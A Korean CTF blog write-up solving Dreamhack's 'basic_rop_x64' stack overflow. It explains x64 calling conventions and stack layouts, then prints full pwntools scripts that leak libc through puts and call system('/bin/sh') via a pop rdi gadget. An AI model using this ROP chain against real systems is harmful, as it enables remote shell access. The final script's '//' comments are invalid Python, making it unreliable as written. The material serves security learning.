본문 바로가기
시스템 해킹/드림핵

[Dreamhack] basic_rop_x64

by L3m0n S0ju 2021. 5. 5.

 


 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

 

 


문제에서 주어진 코드는 위와 같다. 이번 문제는 basic_rop_x86과 비슷하다. 차이점은 basic_rop_x86은 32bit이고 basic_rop_x64는 64bit로 함수호출규약이 다르다는 점이다.

 

32bit 함수호출규약과 64bit 함수호출규약의 차이점은 32bit에서는 인자들을 스택에 쌓아두고 호출하지만 64bit에서는 레지스터에 인자 값을 저장하고 레지스터를 모두 사용하면 스택에 저장하여 함수를 호출한다는 점에서 차이점이 있다. 리눅스 인텔 64bit 기준으로 레지스터에 저장되는 순서는 아래와 같다.

 

+----------------------------------------------+

|  인텔 리눅스 64bit     |     윈도우 64bit    |

|                              |                         |

|        RDI                 |           RCX         |
|        RSI                  |          RDX         |
|        RDX                |           R8           |

|        RCX                |           R9           |

|        R8                  |                          | 

|        R9                  |                          |

+----------------------------------------------+

 


 

gdb로 메인함수를 분석하면 rbp에서 0x40 떨어진 곳에서 부터 입력을 받는다. 그리고 0x400만큼 입력할 수 있으므로 작업할 수 있는 공간은 충분하다. 현재 스택의 상황은 아래와 같다.

 

+-----------------------+

|                             |

|                             |    
|          read ret         |        
|          read sfp         |         

|           ...                |         

|          입력값          |               

|                             |             

+-----------------------+

 


basic_rop_x86과 마찬가지로 puts(puts_got)를 이용해 libcbase부터 구한다. 그리고 main 함수를 실행하여 다시 입력 값을 받도록 스택은 오염시킨다. 문제점은 puts_plt를 실행할 때 puts의 ret 위에 인자가 위치하는 32bit와 달리 64bit는 레지스터에 인자를 저장한다. 따라서 우선순위가 가장 높은 RDI에 puts_got를 저장해야 한다. RDI에 puts_got를 저장하기 위해 pop rdi; ret 으로 동작하는 gadget을 사용해야 한다.

 

read 함수가 끝나기 전이라고 가정하자. 함수는 에필로그 leave, ret을 거치고 끝나게 되는데 leave, ret을 더 분석해보면 아래와 같다.

 

leave ->  mov rsp  rbp // rbp는 read sfp를 가르키고 있으므로 rsp도 read sfp를 가르키게 된다.

            mov rbp [rsp] // read sfp 값이 rbp에 저장된다.

            add  rsp  8    // rsp가 8바이트 만큼 더해져서 read ret으로 이동한다.

ret    -> mov rip  [rsp] // read ret의 값이 rip에 저장된다.

            add  rsp  8    // rsp가 8바이트 만큼 더해진다.

            jmp  rip        // rip로 점프

 

즉 결과적으로 rsp는 read ret의 한 칸위를 가르키게 된다. 따라서 read ret 한 칸위에 인자를 넣고 pop rdi를 하면 rdi에 인자를 저장할 수가 있다.

+------------------------+

|                              |

|                              |<-rsp    
|          read ret          |        
|          read sfp          |         

|           ...                 |         

|          입력값            |               

|                              |             

+------------------------+

 


위의 조건을 고려하여 main까지 주입한다음 read 함수가 입력 값을 받아들여 함수가 종료할 때의 상황은 아래와 같다. 다음으로 gadget을 실행하므로 pop rdi를 하면 현재 rsp가 가르키고 있는 puts_got가 rdi에 저장되고 rsp가 puts_plt로 올라가고 gadget의 ret을 실행하면 puts_plt가 실행되고 다음으로 main이 실행된다.

 

 

+------------------------+

|                              |

|          main              |

|          puts_plt          |

|          puts_got         |       <- rsp
|          gadget           |       <- pop rdi; ret   
| read sfp  -> 'aaaa'     |         

|           ...                 |         

|          입력값           |               

|                              |             

+------------------------+

 

 


 

gadget을 구할 때는 아래 명령어를 사용하여 뒤에 grep으로 원하는 gadget을 찾을 수 있다. objdump -d ./basic_rop_x64로 찾아도 되지만 gadget이 안보이는 경우가 있기에 아래 명령어로 찾는 것이 더 많은 gadget을 찾을 수 있다.

 

ex) ROPgadget --binary basic_rop_x64 | grep rdi 

 

 

 


 

지금까지 상황을 익스플로잇 코드로 작성하면 아래와 같다.

 

from pwn import *
 
#r=process('./basic_rop_x64')
r=remote("host1.dreamhack.games",23990)
e=ELF('./basic_rop_x64')
libc=ELF('./libc.so.6')
context.log_level='debug'
 
def main():  
    puts_plt=e.plt['puts']
    puts_got=e.got['puts']
 
    gadget1=0x400883 #pop rdi; ret
    gadget2=0x4005a9 #ret
  
    payload=b'a' * (0x48)
    payload += p64(gadget1) + p64(puts_got) + p64(puts_plt)
    payload += p64(e.sym['main'])
 
    r.send(payload)
    r.recvuntil('a'*0x40)
    leak=u64(r.recv(6)+b'\x00\x00')
    print('[+] leak: ' + hex(leak))
    libcbase = leak - libc.sym['puts']
    print('[+] libcbase: ' + hex(libcbase))
 
    r.interactive()
 
if __name__ == '__main__':
    main()

 


libcbase가 7f로 시작하고 000으로 끝나므로 libcbase를 구한 것을 알 수 있고 main 함수가 다시 실행됬으므로 system('/bin/sh')를 인젝션하여 쉘을 획득하겠다. 스택이 처음부터 다시 시작하므로 아래 스택과 같이 만들어주면 쉘을 획득할 수 있다.

 

+------------------------+

|                              |

|                              |

|          system           |

|          binsh             |    
|          gadget           |       <- pop rdi; ret   
| read sfp  -> 'aaaa'     |         

|           ...                 |         

|          입력값           |               

|                              |             

+------------------------+

 


 

익스플로잇 코드는 아래와 같다.

 

from pwn import *
 
#r=process('./basic_rop_x64')
r=remote("host1.dreamhack.games",23990)
e=ELF('./basic_rop_x64')
libc=ELF('./libc.so.6')
context.log_level='debug'
 
def main():  
    puts_plt=e.plt['puts']
    puts_got=e.got['puts']
 
    gadget1=0x400883 #pop rdi; ret
    gadget2=0x4005a9 #ret
  
    payload=b'a' * (0x48)
    payload += p64(gadget1) + p64(puts_got) + p64(puts_plt)
    payload += p64(e.sym['main'])
 
    r.send(payload)
    r.recvuntil('a'*0x40)
    leak=u64(r.recv(6)+b'\x00\x00')
    print('[+] leak: ' + hex(leak))
    libcbase = leak - libc.sym['puts']
    print('[+] libcbase: ' + hex(libcbase))
 
    system=libcbase+libc.sym['system']     //libcbase와 system의 오프셋을 더하여 system함수의 실제주소를 구함
    binsh=libcbase+list(libc.search(b'/bin/sh'))[0]  //libc 안에 있는 /bin/sh의 실제주소를 구함
    payload2 = b'a'*0x48 + p64(gadget1) + p64(binsh) + p64(system)
    r.send(payload2)
    r.interactive()
 
if __name__ == '__main__':
    main()


플래그

 

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[Dreamhack] oneshot  (0) 2021.05.11
[Dreamhack] Off_by_one_001  (0) 2021.05.07
[Dreamhack] basic_rop_x86  (1) 2021.05.03
[Dreamhack] off_by_one_000  (0) 2021.04.18
[Dreamhack] basic_exploitation_001  (0) 2021.04.11

댓글